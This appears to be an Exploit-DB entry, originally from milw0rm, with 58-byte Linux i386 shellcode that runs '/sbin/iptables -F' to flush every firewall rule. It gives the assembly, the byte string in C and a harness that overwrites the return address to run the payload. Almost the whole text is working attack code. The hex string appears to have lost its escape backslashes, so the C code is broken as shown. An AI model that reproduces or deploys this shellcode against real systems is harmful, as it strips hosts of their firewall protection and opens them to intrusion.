https://www.exploit-db.com/exploits/13434

漏洞细节尚未披露

/* The shellcode flushs the iptables  by running /sbin/iptables -F
   no exit()
   greetz to zilion: man, my code is shorter!

   size = 58 bytes 
   OS	= Linux i386
 		written by /rootteam/dev0id (www.sysworld.net)
 

BITS	32

jmp	short	callme
main:
	pop	esi
	xor	eax,eax
	mov byte [esi+14],al
	mov byte [esi+17],al
	mov long [esi+18],esi
	lea	 ebx,[esi+15]
	mov long [esi+22],ebx
	mov long [esi+26],eax
	mov 	al,0x0b
	mov	ebx,esi
	lea	ecx,[esi+18]
	lea	edx,[esi+26]
	int	0x80
	

callme:
	call	main
	db '/sbin/iptables#-F#'
*/


char shellcode[] =
	"xebx21x5ex31xc0x88x46x0ex88x46x11x89x76x12x8d"
	"x5ex0fx89x5ex16x89x46x1axb0x0bx89xf3x8dx4ex12"
	"x8dx56x1axcdx80xe8xdaxffxffxffx2fx73x62x69x6e"
	"x2fx69x70x74x61x62x6cx65x73x23x2dx46x23";

	
int main()
{

  int *ret;
  ret = (int *)&ret + 2;
  (*ret) = (int)shellcode;
}

// milw0rm.com [2004-09-26]